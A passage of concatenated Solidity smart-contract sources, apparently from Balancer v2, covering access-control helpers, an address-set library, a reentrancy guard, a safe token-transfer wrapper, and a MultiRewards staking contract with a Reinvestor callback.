function _authenticateCaller() internal view {
bytes32 actionId = getActionId(msg.sig);
_require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED);
}
function getActionId(bytes4 selector) public view override returns (bytes32) {
// Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the
// function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of
// multiple contracts.
return keccak256(abi.encodePacked(_actionIdDisambiguator, selector));
}
function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthentication {
/**
* @dev Returns the action identifier associated with the external function described by `selector`.
*/
function getActionId(bytes4 selector) external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
// Based on the EnumerableSet library from OpenZeppelin Contracts, altered to remove the base private functions that
// work on bytes32, replacing them with a native implementation for address values, to reduce bytecode size and runtime
// costs.
// The `unchecked_at` function was also added, which allows for more gas efficient data reads in some scenarios.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// The original OpenZeppelin implementation uses a generic Set type with bytes32 values: this was replaced with
// AddressSet, which uses address keys natively, resulting in more dense bytecode.
struct AddressSet {
// Storage of set values
address[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(address => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
if (!contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// The swap is only necessary if we're not removing the last element
if (toDeleteIndex != lastIndex) {
address lastValue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastValue;
// Update the index for the moved value
set._indexes[lastValue] = toDeleteIndex + 1; // All indexes are 1-based
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
_require(set._values.length > index, Errors.OUT_OF_BOUNDS);
return unchecked_at(set, index);
}
/**
* @dev Same as {at}, except this doesn't revert if `index` it outside of the set (i.e. if it is equal or larger
* than {length}). O(1).
*
* This function performs one less storage read than {at}, but should only be used when `index` is known to be
* within bounds.
*/
function unchecked_at(AddressSet storage set, uint256 index) internal view returns (address) {
return set._values[index];
}
function rawIndexOf(AddressSet storage set, address value) internal view returns (uint256) {
return set._indexes[value] - 1;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../interfaces/IDistributorCallback.sol";
contract MockRewardCallback is IDistributorCallback {
event CallbackReceived();
function distributorCallback(bytes calldata) external override {
emit CallbackReceived();
return;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-pool-weighted/contracts/BaseWeightedPool.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IAsset.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/EnumerableSet.sol";
import "./PoolTokenCache.sol";
import "./interfaces/IDistributorCallback.sol";
contract Reinvestor is PoolTokenCache, IDistributorCallback {
using EnumerableSet for EnumerableSet.AddressSet;
constructor(IVault _vault) PoolTokenCache(_vault) {
// solhint-disable-previous-line no-empty-blocks
}
function _initializeArrays(bytes32 poolId, IERC20[] memory tokens)
internal
view
returns (uint256[] memory amountsIn, IVault.UserBalanceOp[] memory leftoverOps)
{
uint256 joinTokensCount;
uint256 leftoverTokensCount;
for (uint256 t; t < tokens.length; t++) {
if (poolHasToken(poolId, address(tokens[t]))) {
joinTokensCount++;
}
}
leftoverTokensCount = tokens.length - joinTokensCount;
amountsIn = new uint256[](poolTokensLength(poolId));
leftoverOps = new IVault.UserBalanceOp[](leftoverTokensCount);
}
function _populateArrays(
bytes32 poolId,
address recipient,
IERC20[] memory tokens,
uint256[] memory internalBalances,
uint256[] memory amountsIn,
IVault.UserBalanceOp[] memory leftoverOps
) internal view {
uint256 leftoverOpsIdx;
for (uint256 t; t < tokens.length; t++) {
address token = address(tokens[t]);
if (poolHasToken(poolId, token)) {
amountsIn[_poolTokenIndex(poolId, token)] = internalBalances[t];
} else {
leftoverOps[leftoverOpsIdx] = IVault.UserBalanceOp({
asset: IAsset(token),
amount: internalBalances[t], // callbackAmounts have been subtracted
sender: address(this),
recipient: payable(recipient),
kind: IVault.UserBalanceOpKind.WITHDRAW_INTERNAL
});
leftoverOpsIdx++;
}
}
}
struct CallbackParams {
address payable recipient;
bytes32 poolId;
IERC20[] tokens;
}
/**
* @notice Reinvests tokens in a specified pool
* @param callbackData - the encoded function arguments
* recipient - the recipient of the bpt and leftover funds
* poolId - The pool to receive the tokens
* tokens - The tokens that were received
*/
function distributorCallback(bytes calldata callbackData) external override {
CallbackParams memory params = abi.decode(callbackData, (CallbackParams));
ensurePoolTokenSetSaved(params.poolId);
IAsset[] memory assets = _getAssets(params.poolId);
(uint256[] memory amountsIn, IVault.UserBalanceOp[] memory leftoverOps) = _initializeArrays(
params.poolId,
params.tokens
);
uint256[] memory internalBalances = vault.getInternalBalance(address(this), params.tokens);
_populateArrays(params.poolId, params.recipient, params.tokens, internalBalances, amountsIn, leftoverOps);
_joinPool(params.poolId, params.recipient, assets, amountsIn);
vault.manageUserBalance(leftoverOps);
}
function _joinPool(
bytes32 poolId,
address recipient,
IAsset[] memory assets,
uint256[] memory amountsIn
) internal {
bytes memory userData = abi.encode(
BaseWeightedPool.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT,
amountsIn,
uint256(0)
);
IVault.JoinPoolRequest memory request = IVault.JoinPoolRequest(assets, amountsIn, userData, true);
vault.joinPool(poolId, address(this), recipient, request);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol";
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ReentrancyGuard.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/EnumerableSet.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/SafeERC20.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20Permit.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IAsset.sol";
import "./RewardsScheduler.sol";
import "./interfaces/IMultiRewards.sol";
import "./interfaces/IDistributorCallback.sol";
import "./interfaces/IDistributor.sol";
import "./MultiRewardsAuthorization.sol";
// solhint-disable not-rely-on-time
/**
* Balancer MultiRewards claim contract (claim to internal balance) based on
* Curve Finance's MultiRewards contract, updated to be compatible with solc 0.7.0
* https://github.com/curvefi/multi-rewards/blob/master/contracts/MultiRewards.sol commit #9947623
*/
contract MultiRewards is IMultiRewards, IDistributor, ReentrancyGuard, MultiRewardsAuthorization {
using FixedPoint for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
/* ========== STATE VARIABLES ========== */
struct Reward {
uint256 rewardsDuration;
uint256 periodFinish;
uint256 rewardRate;
uint256 lastUpdateTime;
uint256 rewardPerTokenStored;
}
// pool -> rewarder -> rewardToken -> RewardData
mapping(IERC20 => mapping(address => mapping(IERC20 => Reward))) public rewardData;
// pool -> rewardTokens
mapping(IERC20 => EnumerableSet.AddressSet) private _rewardTokens;
// pool -> rewardToken -> rewarders
mapping(IERC20 => mapping(IERC20 => EnumerableSet.AddressSet)) private _rewarders;
// pool -> rewarder -> user -> reward token -> amount
mapping(IERC20 => mapping(address => mapping(address => mapping(IERC20 => uint256)))) public userRewardPerTokenPaid;
// pool -> user -> reward token -> amount
mapping(IERC20 => mapping(address => mapping(IERC20 => uint256))) public unpaidRewards;
mapping(IERC20 => uint256) private _totalSupply;
// pool -> user -> bpt balance staked
mapping(IERC20 => mapping(address => uint256)) private _balances;
RewardsScheduler public immutable rewardsScheduler;
/* ========== CONSTRUCTOR ========== */
constructor(IVault _vault)
// MultiRewards is a singleton, so it simply uses its own address to disambiguate action identifiers
Authentication(bytes32(uint256(address(this))))
MultiRewardsAuthorization(_vault)
{
// solhint-disable-previous-line no-empty-blocks
rewardsScheduler = new RewardsScheduler();
}
/**
* @notice Allows a rewarder to be explicitly added to an allowlist of rewarders
* @param pool The bpt of the pool that the rewarder can reward
* @param rewardsToken The token to be distributed to stakers
* @param rewarder The address of the rewarder
*/
function allowlistRewarder(
IERC20 pool,
IERC20 rewardsToken,
address rewarder
) external override onlyAllowlisters(pool) {
_allowlistRewarder(pool, rewardsToken, rewarder);
}
/**
* @notice Whether a rewarder can reward bpt of a pool with a token
* @param pool The bpt of the pool
* @param rewardsToken The token to be distributed to stakers
* @param rewarder The address of the rewarder
*/
function isAllowlistedRewarder(
IERC20 pool,
IERC20 rewardsToken,
address rewarder
) public view override returns (bool) {
return _isAllowlistedRewarder(pool, rewardsToken, rewarder);
}
/**
* @notice Adds a new reward token to be distributed
* @param pool The bpt of the pool that will receive rewards
* @param rewardsToken The new token to be distributed to stakers
* @param rewardsDuration The duration over which each distribution is spread
*/
function addReward(
IERC20 pool,
IERC20 rewardsToken,
uint256 rewardsDuration
) external override onlyAllowlistedRewarder(pool, rewardsToken) {
require(rewardsDuration > 0, "reward rate must be nonzero");
require(rewardData[pool][msg.sender][rewardsToken].rewardsDuration == 0, "Duplicate rewards token");
_rewardTokens[pool].add(address(rewardsToken));
_rewarders[pool][rewardsToken].add(msg.sender);
rewardData[pool][msg.sender][rewardsToken].rewardsDuration = rewardsDuration;
rewardsToken.approve(address(getVault()), type(uint256).max);
}
/* ========== VIEWS ========== */
/**
* @notice Total supply of a pools bpt that has been staked
* @param pool The bpt of the pool
*/
function totalSupply(IERC20 pool) external view returns (uint256) {
return _totalSupply[pool];
}
/**
* @notice The balance of a pools bpt that `account` has staked
* @param pool The bpt of the pool
* @param account The address of the user with staked bpt
*/
function balanceOf(IERC20 pool, address account) external view returns (uint256) {
return _balances[pool][account];
}
/**
* @notice This time is used when determining up until what time a reward has been accounted for
* @param pool The bpt of the pool
* @param rewarder The address of the rewarder
* @param rewardsToken The token to be distributed to stakers
*/
function lastTimeRewardApplicable(
IERC20 pool,
address rewarder,
IERC20 rewardsToken
) public view returns (uint256) {
return _lastTimeRewardApplicable(rewardData[pool][rewarder][rewardsToken]);
}
function _lastTimeRewardApplicable(Reward storage data) private view returns (uint256) {
return Math.min(block.timestamp, data.periodFinish);
}
/**
* @notice Calculates the amount of reward token per staked bpt
* @param pool The bpt of the pool
* @param rewarder The address of the rewarder
* @param rewardsToken The token to be distributed to stakers
*/
function rewardPerToken(
IERC20 pool,
address rewarder,
IERC20 rewardsToken
) public view returns (uint256) {
return _rewardPerToken(pool, rewardData[pool][rewarder][rewardsToken]);
}
function _rewardPerToken(IERC20 pool, Reward storage data) private view returns (uint256) {
if (_totalSupply[pool] == 0) {
return data.rewardPerTokenStored;
}
// Underflow is impossible here because lastTimeRewardApplicable(...) is always greater than
// last update time
uint256 unrewardedDuration = _lastTimeRewardApplicable(data) - data.lastUpdateTime;
return data.rewardPerTokenStored.add(Math.mul(unrewardedDuration, data.rewardRate).divDown(_totalSupply[pool]));
}
/**
* @notice Calculates the amount of `rewardsToken` that `account` is able to claim
* from a particular rewarder
* @param pool The bpt of the pool
* @param rewarder The address of the rewarder
* @param account The address receiving the rewards
* @param rewardsToken The token to be distributed to stakers
*/
function unaccountedForUnpaidRewards(
IERC20 pool,
address rewarder,
address account,
IERC20 rewardsToken
) public view returns (uint256) {
return
_balances[pool][account].mulDown(
rewardPerToken(pool, rewarder, rewardsToken).sub(
userRewardPerTokenPaid[pool][rewarder][account][rewardsToken]
)
);
}
function _unaccountedForUnpaidRewards(
IERC20 pool,
address rewarder,
address account,
IERC20 rewardsToken,
Reward storage data
) private view returns (uint256) {
return
_balances[pool][account].mulDown(
_rewardPerToken(pool, data).sub(userRewardPerTokenPaid[pool][rewarder][account][rewardsToken])
);
}
/**
* @notice Calculates the total amount of `rewardsToken` that `account` is able to claim
* @param pool The bpt of the pool
* @param account The address receiving the rewards
* @param rewardsToken The token to be distributed to stakers
*/
function totalEarned(
IERC20 pool,
address account,
IERC20 rewardsToken
) public view returns (uint256 total) {
uint256 rewardersLength = _rewarders[pool][rewardsToken].length();
for (uint256 r; r < rewardersLength; r++) {
total = total.add(
unaccountedForUnpaidRewards(pool, _rewarders[pool][rewardsToken].unchecked_at(r), account, rewardsToken)
);
}
total = total.add(unpaidRewards[pool][account][rewardsToken]);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice stakes a token on the msg.sender's behalf
* @param pool The bpt of the pool that the rewarder can reward
* @param amount Amount of `pool` to stake
*/
function stake(IERC20 pool, uint256 amount) external nonReentrant {
_stakeFor(pool, amount, msg.sender, msg.sender);
}
/**
* @notice Stakes a token so that `receiver` can earn rewards
* @param pool The token being staked to earn rewards
* @param amount Amount of `pool` to stake
* @param receiver The recipient of claimed rewards
*/
function stakeFor(
IERC20 pool,
uint256 amount,
address receiver
) external nonReentrant {
_stakeFor(pool, amount, msg.sender, receiver);
}
function _stakeFor(
IERC20 pool,
uint256 amount,
address account,
address receiver
) internal updateReward(pool, receiver) {
require(amount > 0, "Cannot stake 0");
_totalSupply[pool] = _totalSupply[pool].add(amount);
_balances[pool][receiver] = _balances[pool][receiver].add(amount);
pool.safeTransferFrom(account, address(this), amount);
emit Staked(address(pool), receiver, amount);
}
/**
* @notice Stake tokens using a permit signature for approval
* @param pool The bpt being staked to earn rewards
* @param amount Amount of allowance
* @param deadline The time at which this expires (unix time)
* @param v v of the signature
* @param r r of the signature
* @param s s of the signature
*/
function stakeWithPermit(
IERC20 pool,
uint256 amount,
uint256 deadline,
address account,
address recipient,
uint8 v,
bytes32 r,
bytes32 s
) external nonReentrant {
// Force the sender to be the recipient to ensure signature is not extracted from the
// mempool and used for another recipient
require(account == recipient, "The recipient must match the account in the permit signature");
IERC20Permit(address(pool)).permit(account, address(this), amount, deadline, v, r, s);
_stakeFor(pool, amount, account, recipient);
}
/**
* @notice Untakes a token
* @param pool The token being staked to earn rewards
* @param amount Amount of `pool` to unstake
* @param receiver The recipient of the bpt
*/
function unstake(
IERC20 pool,
uint256 amount,
address receiver
) public nonReentrant updateReward(pool, msg.sender) {
require(amount > 0, "Cannot withdraw 0");
_totalSupply[pool] = _totalSupply[pool].sub(amount);
_balances[pool][msg.sender] = _balances[pool][msg.sender].sub(amount);
pool.safeTransfer(receiver, amount);
emit Withdrawn(address(pool), receiver, amount);
}
/**
* @notice Allows a user to claim any rewards to an EOA
* @param pools The pools to claim rewards for
*/
function getReward(IERC20[] calldata pools) external nonReentrant {
_getReward(pools, msg.sender, false);
}
/**
* @notice Allows a user to claim any rewards to an internal balance
* @param pools The pools to claim rewards for
*/
function getRewardAsInternalBalance(IERC20[] calldata pools) external nonReentrant {
_getReward(pools, msg.sender, true);
}
function _rewardOpsCount(IERC20[] calldata pools) internal view returns (uint256 opsCount) {
for (uint256 p; p < pools.length; p++) {
IERC20 pool = pools[p];
uint256 rewardTokensLength = _rewardTokens[pool].length();
opsCount += rewardTokensLength;
}
}
/**
* @notice Allows a user to claim any rewards to an internal balance or EOA
*/
function _getReward(
IERC20[] calldata pools,
address recipient,
bool asInternalBalance
) internal {
IVault.UserBalanceOpKind kind = asInternalBalance
? IVault.UserBalanceOpKind.TRANSFER_INTERNAL
: IVault.UserBalanceOpKind.WITHDRAW_INTERNAL;
IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](_rewardOpsCount(pools));
uint256 idx;
for (uint256 p; p < pools.length; p++) {
IERC20 pool = pools[p];
uint256 tokensLength = _rewardTokens[pool].length();
for (uint256 t; t < tokensLength; t++) {
IERC20 rewardsToken = IERC20(_rewardTokens[pool].unchecked_at(t));
_updateReward(pool, msg.sender, rewardsToken);
uint256 reward = unpaidRewards[pool][msg.sender][rewardsToken];
if (reward > 0) {
unpaidRewards[pool][msg.sender][rewardsToken] = 0;
emit RewardPaid(msg.sender, address(rewardsToken), reward);
}
ops[idx] = IVault.UserBalanceOp({
asset: IAsset(address(rewardsToken)),
amount: reward,
sender: address(this),
recipient: payable(recipient),
kind: kind
});
idx++;
}
}
getVault().manageUserBalance(ops);
}
/**
* @notice Allows the user to claim rewards to a callback contract
* @param pools An array of pools from which rewards will be claimed
* @param callbackContract The contract where rewards will be transferred
* @param callbackData The data that is used to call the callback contract's 'callback' method
*/
function getRewardWithCallback(
IERC20[] calldata pools,
IDistributorCallback callbackContract,
bytes calldata callbackData
) external nonReentrant {
_getReward(pools, address(callbackContract), true);
callbackContract.distributorCallback(callbackData);
}
/**
* @notice Allows a user to unstake all their tokens
* @param pools The pools to unstake tokens for
*/
function exit(IERC20[] calldata pools) external {
for (uint256 p; p < pools.length; p++) {
IERC20 pool = pools[p];
unstake(pool, _balances[pool][msg.sender], msg.sender);
}
_getReward(pools, msg.sender, false);
}
/**
* @notice Allows a user to unstake all their bpt to exit pools, transferring accrued rewards to the user
* and the unstaked bpt to a callback contract
* @param pools The pools to claim rewards for
* @param callbackContract The contract where bpt will be transferred
* @param callbackData The data that is used to call the callback contract's 'callback' method
*/
function exitWithCallback(
IERC20[] calldata pools,
IDistributorCallback callbackContract,
bytes calldata callbackData
) external {
for (uint256 p; p < pools.length; p++) {
IERC20 pool = pools[p];
unstake(pool, _balances[pool][msg.sender], address(callbackContract));
}
_getReward(pools, msg.sender, false);
callbackContract.distributorCallback(callbackData);
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @notice Allows a rewards distributor, or the reward scheduler
* to deposit more tokens to be distributed as rewards
* @param pool The pool bpt that is staked in this contract
* @param rewardsToken The token to deposit into staking contract for distribution
* @param reward The amount of tokens to deposit
* @param rewarder The address issuing the reward (usually msg.sender)
*/
function notifyRewardAmount(
IERC20 pool,
IERC20 rewardsToken,
uint256 reward,
address rewarder
) external override updateReward(pool, address(0)) {
require(
msg.sender == rewarder || msg.sender == address(rewardsScheduler),
"Rewarder must be sender, or rewards scheduler"
);
require(_rewarders[pool][rewardsToken].contains(rewarder), "Reward must be configured with addReward");
// handle the transfer of reward tokens via `safeTransferFrom` to reduce the number
// of transactions required and ensure correctness of the reward amount
// Tokens always come from msg.sender because either `msg.sender == rewarder`
// or the`rewardsScheduler` is holding tokens on behalf of the `rewarder`
rewardsToken.safeTransferFrom(msg.sender, address(this), reward);
IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](1);
ops[0] = IVault.UserBalanceOp({
asset: IAsset(address(rewardsToken)),
amount: reward,
sender: address(this),
recipient: payable(address(this)),
kind: IVault.UserBalanceOpKind.DEPOSIT_INTERNAL
});
getVault().manageUserBalance(ops);
// Save the storage pointer to compute the slot only once.
Reward storage data = rewardData[pool][rewarder][rewardsToken];
// Cache storage variables to avoid repeated access.
uint256 periodFinish = data.periodFinish;
uint256 rewardsDuration = data.rewardsDuration;
if (block.timestamp >= periodFinish) {
data.rewardRate = Math.divDown(reward, rewardsDuration);
} else {
uint256 remainingTime = periodFinish - block.timestamp; // Checked arithmetic is not required due to the if
uint256 leftoverRewards = Math.mul(remainingTime, data.rewardRate);
data.rewardRate = Math.divDown(reward.add(leftoverRewards), rewardsDuration);
}
data.lastUpdateTime = block.timestamp;
data.periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(address(pool), address(rewardsToken), rewarder, reward);
}
/**
* @notice set the reward duration for a reward
* @param pool The pool's bpt
* @param rewardsToken The token for the reward
* @param rewardsDuration The duration over which each distribution is spread
*/
function setRewardsDuration(
IERC20 pool,
IERC20 rewardsToken,
uint256 rewardsDuration
) external onlyAllowlistedRewarder(pool, rewardsToken) {
require(_rewarders[pool][rewardsToken].contains(msg.sender), "Reward must be configured with addReward");
require(
block.timestamp > rewardData[pool][msg.sender][rewardsToken].periodFinish,
"Reward period still active"
);
require(rewardsDuration > 0, "Reward duration must be non-zero");
rewardData[pool][msg.sender][rewardsToken].rewardsDuration = rewardsDuration;
emit RewardsDurationUpdated(
address(pool),
address(rewardsToken),
msg.sender,
rewardData[pool][msg.sender][rewardsToken].rewardsDuration
);
}
/**
* @notice update unpaid rewards due to `account` for all rewarders for a particular token
* and updates last update time
*/
function _updateReward(
IERC20 pool,
address account,
IERC20 token
) internal {
uint256 totalUnpaidRewards;
// Save the storage pointer to compute the slot only once.
EnumerableSet.AddressSet storage rewarders = _rewarders[pool][token];
uint256 rewardersLength = rewarders.length();
for (uint256 r; r < rewardersLength; r++) {
address rewarder = rewarders.unchecked_at(r);
Reward storage data = rewardData[pool][rewarder][token];
// Cache storage variables to avoid repeated access.
uint256 perToken = _rewardPerToken(pool, data);
data.rewardPerTokenStored = perToken;
data.lastUpdateTime = _lastTimeRewardApplicable(data);
if (account != address(0)) {
totalUnpaidRewards = totalUnpaidRewards.add(
_unaccountedForUnpaidRewards(pool, rewarder, account, token, data)
);
userRewardPerTokenPaid[pool][rewarder][account][token] = perToken;
}
}
unpaidRewards[pool][account][token] = totalUnpaidRewards;
}
/* ========== MODIFIERS ========== */
/**
* @notice
* Updates the rewards due to `account` from all _rewardTokens and _rewarders
*/
modifier updateReward(IERC20 pool, address account) {
uint256 rewardTokensLength = _rewardTokens[pool].length();
for (uint256 t; t < rewardTokensLength; t++) {
IERC20 rewardToken = IERC20(_rewardTokens[pool].unchecked_at(t));
_updateReward(pool, account, rewardToken);
}
_;
}
/* ========== EVENTS ========== */
event Staked(address indexed pool, address indexed account, uint256 amount);
event Withdrawn(address indexed pool, address indexed account, uint256 amount);
event RewardAdded(address indexed pool, address indexed token, address indexed rewarder, uint256 amount);
event RewardsDurationUpdated(
address indexed pool,
address indexed token,
address indexed rewarder,
uint256 newDuration
);
}
// SPDX-License-Identifier: MIT
// Based on the ReentrancyGuard library from OpenZeppelin Contracts, altered to reduce bytecode size.
// Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using
// private functions, we achieve the same end result with slightly higher runtime gas costs, but reduced bytecode size.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_enterNonReentrant();
_;
_exitNonReentrant();
}
function _enterNonReentrant() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
_require(_status != _ENTERED, Errors.REENTRANCY);
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _exitNonReentrant() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// Based on the ReentrancyGuard library from OpenZeppelin Contracts, altered to reduce gas costs.
// The `safeTransfer` and `safeTransferFrom` functions assume that `token` is a contract (an account with code), and
// work differently from the OpenZeppelin version if it is not.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
import "./IERC20.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(address(token), abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(address(token), abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
*
* WARNING: `token` is assumed to be a contract: calls to EOAs will *not* revert.
*/
function _callOptionalReturn(address token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
(bool success, bytes memory returndata) = token.call(data);
// If the low-level call didn't succeed we return whatever was returned from it.
assembly {
if eq(success, 0) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
// Finally we check the returndata size is either zero or true - note that this check will always pass for EOAs
_require(returndata.length == 0 || abi.decode(returndata, (bool)), Errors.SAFE_ERC20_CALL_FAILED);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
